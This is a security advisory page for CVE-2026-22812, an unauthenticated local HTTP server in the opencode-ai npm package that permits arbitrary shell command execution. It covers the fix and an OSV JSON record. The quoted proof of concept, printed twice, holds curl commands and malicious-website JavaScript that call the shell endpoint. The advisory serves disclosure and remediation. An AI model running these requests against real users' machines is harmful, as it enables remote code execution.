CVE-2026-22812: Opencode ai OpenCode's Unauthenticated HTTP Server Allows Vulnerability

HIGH
Advisory Identifier: GHSA-vxw4-wv6m-9hhh
CVSS 8.8
CWE-749 CWE-942 CWE-306
Published
Advisory Summary

CVE-2026-22812 is a HIGH (CVSS 8.8) opencode's unauthenticated http server allows vulnerability (CWE-749: Exposed Dangerous Method or Function) affecting Opencode ai libraries in the npm ecosystem. The issue involves opencode's unauthenticated http server allows arbitrary command execution. Remediation is available by upgrading affected packages to version 1.0.216.

CVE-2026-22812 at a Glance

CVE Identifier CVE-2026-22812
GHSA Identifier GHSA-vxw4-wv6m-9hhh
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-749: Exposed Dangerous Method or Function
Affected Product Opencode ai
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-22812

To remediate this vulnerability, upgrade all affected Opencode ai dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

opencode-ai fixed: 1.0.216
npm install opencode-ai@1.0.216
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls opencode-ai

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-22812, inspect your project dependencies using npm:

npm ls opencode-ai

Analyze the terminal output to locate any version of Opencode ai in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.216), your application is affected.

Note: The npm ls opencode-ai command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-749: Exposed Dangerous Method or Function, where the product provides an applications programming interface (api) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted. In Opencode ai, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

*Previously reported via email to support@sst.dev on 2025-11-17 per the security policy in [opencode-sdk-js/SECURITY.md](https://github.com/sst/opencode-sdk-js/blob/main/SECURITY.md). No response received.* ### Summary OpenCode automatically starts an unauthenticated HTTP server that allows any local process—or any website via permissive CORS—to execute arbitrary shell commands with the user's privileges. ### Details When OpenCode starts, it spawns an HTTP server (default port 4096+) with no authentication. Critical endpoints exposed: - `POST /session/:id/shell` - Execute shell commands (`server.ts:1401`) - `POST /pty` - Create interactive terminal sessions (`server.ts:267`) - `GET /file/content?path=` - Read arbitrary files (`server.ts:1868`) The server is started automatically in `cli/cmd/tui/worker.ts:36` via `Server.listen()`. No authentication middleware exists in `server/server.ts`. The server uses permissive CORS (`.use(cors())` with default `Access-Control-Allow-Origin: *`), enabling browser-based exploitation. ### PoC **Local exploitation:** ```bash API="http://127.0.0.1:4096" # update with actual port SESSION_ID=$(curl -s -X POST "$API/session" -H "Content-Type: application/json" -d '{}' | jq -r '.id') curl -s -X POST "$API/session/$SESSION_ID/shell" -H "Content-Type: application/json" \ -d '{"agent": "build", "command": "echo PWNED > /tmp/pwned.txt"}' cat /tmp/pwned.txt # outputs: PWNED ``` **Browser-based exploitation:** A malicious website can exploit visitors who have OpenCode running. Confirmed working in Firefox. PoC available upon request. ```javascript // Malicious website JavaScript fetch('http://127.0.0.1:4096/session', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: '{}' }) .then(r => r.json()) .then(session => { fetch(`http://127.0.0.1:4096/session/${session.id}/shell`, { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({agent: 'build', command: 'id > /tmp/pwned.txt'}) }); }); ``` Note: Chrome 142+ may prompt for Local Network Access permission. Firefox does not. ### Impact **Remote Code Execution** via two vectors: 1. **Local process**: Any malicious npm package, script, or compromised application can execute commands as the user running OpenCode. 2. **Browser-based (confirmed in Firefox)**: Any website can execute commands on visitors who have OpenCode running. This enables drive-by attacks via malicious ads, compromised websites, or phishing pages. With `--mdns` flag, the server binds to `0.0.0.0` and advertises via Bonjour, extending the attack surface to the entire local network. *Code analysis, CVSS scoring, and documentation assisted by Claude AI (Opus 4.5). Vulnerability verification and PoC testing performed by the reporter.*

CVE-2026-22812 Affected Opencode ai Versions

1 component(s)
Fixed Versions:
1.0.216
Product / Package Ecosystem Affected Versions Fixed Version
opencode-ai
npm
< 1.0.216
1.0.216

References

Frequently Asked Questions

What is CVE-2026-22812?
CVE-2026-22812 is a security vulnerability in Opencode ai involving OpenCode's Unauthenticated HTTP Server Allows Arbitrary Command Execution under CWE-749: Exposed Dangerous Method or Function.
Which Opencode ai versions are affected?
Affected versions include releases prior to 1.0.216 across affected packages: opencode-ai.
What version fixes CVE-2026-22812?
Upgrading to 1.0.216 (or the latest patched release for your respective branch) resolves the vulnerability.
Is opencode-ai affected?
Yes, opencode-ai is affected in releases prior to 1.0.216. Upgrade your dependency to 1.0.216 or later.
What is the CVSS score of CVE-2026-22812?
CVE-2026-22812 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-22812?
CVE-2026-22812 is classified under CWE-749: Exposed Dangerous Method or Function (The product provides an Applications Programming Interface (API) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted.).
How can I check npm dependencies for CVE-2026-22812?
Run the dependency tree command: 'npm ls opencode-ai'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vxw4-wv6m-9hhh",
  "modified" : "2026-01-13T20:35:08Z",
  "published" : "2026-01-13T20:35:08Z",
  "aliases" : [ "CVE-2026-22812" ],
  "summary" : "OpenCode's Unauthenticated HTTP Server Allows Arbitrary Command Execution",
  "details" : "*Previously reported via email to support@sst.dev on 2025-11-17 per the security policy in [opencode-sdk-js/SECURITY.md](https://github.com/sst/opencode-sdk-js/blob/main/SECURITY.md). No response received.*\n\n### Summary\n\nOpenCode automatically starts an unauthenticated HTTP server that allows any local process—or any website via permissive CORS—to execute arbitrary shell commands with the user's privileges.\n\n### Details\n\nWhen OpenCode starts, it spawns an HTTP server (default port 4096+) with no authentication. Critical endpoints exposed:\n\n- `POST /session/:id/shell` - Execute shell commands (`server.ts:1401`)\n- `POST /pty` - Create interactive terminal sessions (`server.ts:267`)\n- `GET /file/content?path=` - Read arbitrary files (`server.ts:1868`)\n\nThe server is started automatically in `cli/cmd/tui/worker.ts:36` via `Server.listen()`.\n\nNo authentication middleware exists in `server/server.ts`. The server uses permissive CORS (`.use(cors())` with default `Access-Control-Allow-Origin: *`), enabling browser-based exploitation.\n\n### PoC\n\n**Local exploitation:**\n\n```bash\nAPI=\"http://127.0.0.1:4096\"  # update with actual port\nSESSION_ID=$(curl -s -X POST \"$API/session\" -H \"Content-Type: application/json\" -d '{}' | jq -r '.id')\ncurl -s -X POST \"$API/session/$SESSION_ID/shell\" -H \"Content-Type: application/json\" \\\n  -d '{\"agent\": \"build\", \"command\": \"echo PWNED > /tmp/pwned.txt\"}'\ncat /tmp/pwned.txt  # outputs: PWNED\n```\n\n**Browser-based exploitation:**\n\nA malicious website can exploit visitors who have OpenCode running. Confirmed working in Firefox. PoC available upon request.\n\n```javascript\n// Malicious website JavaScript\nfetch('http://127.0.0.1:4096/session', {\n  method: 'POST',\n  headers: {'Content-Type': 'application/json'},\n  body: '{}'\n})\n.then(r => r.json())\n.then(session => {\n  fetch(`http://127.0.0.1:4096/session/${session.id}/shell`, {\n    method: 'POST',\n    headers: {'Content-Type': 'application/json'},\n    body: JSON.stringify({agent: 'build', command: 'id > /tmp/pwned.txt'})\n  });\n});\n```\n\nNote: Chrome 142+ may prompt for Local Network Access permission. Firefox does not.\n\n### Impact\n\n**Remote Code Execution** via two vectors:\n\n1. **Local process**: Any malicious npm package, script, or compromised application can execute commands as the user running OpenCode.\n\n2. **Browser-based (confirmed in Firefox)**: Any website can execute commands on visitors who have OpenCode running. This enables drive-by attacks via malicious ads, compromised websites, or phishing pages.\n\nWith `--mdns` flag, the server binds to `0.0.0.0` and advertises via Bonjour, extending the attack surface to the entire local network.\n\n*Code analysis, CVSS scoring, and documentation assisted by Claude AI (Opus 4.5). Vulnerability verification and PoC testing performed by the reporter.*",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "opencode-ai"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.0.216"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/anomalyco/opencode/security/advisories/GHSA-vxw4-wv6m-9hhh"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-22812"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/anomalyco/opencode/commit/7d2d87fa2c44e32314015980bb4e59a9386e858c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/anomalyco/opencode"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-306", "CWE-749", "CWE-942" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-13T20:35:08Z",
    "nvd_published_at" : "2026-01-12T23:15:53Z"
  }
}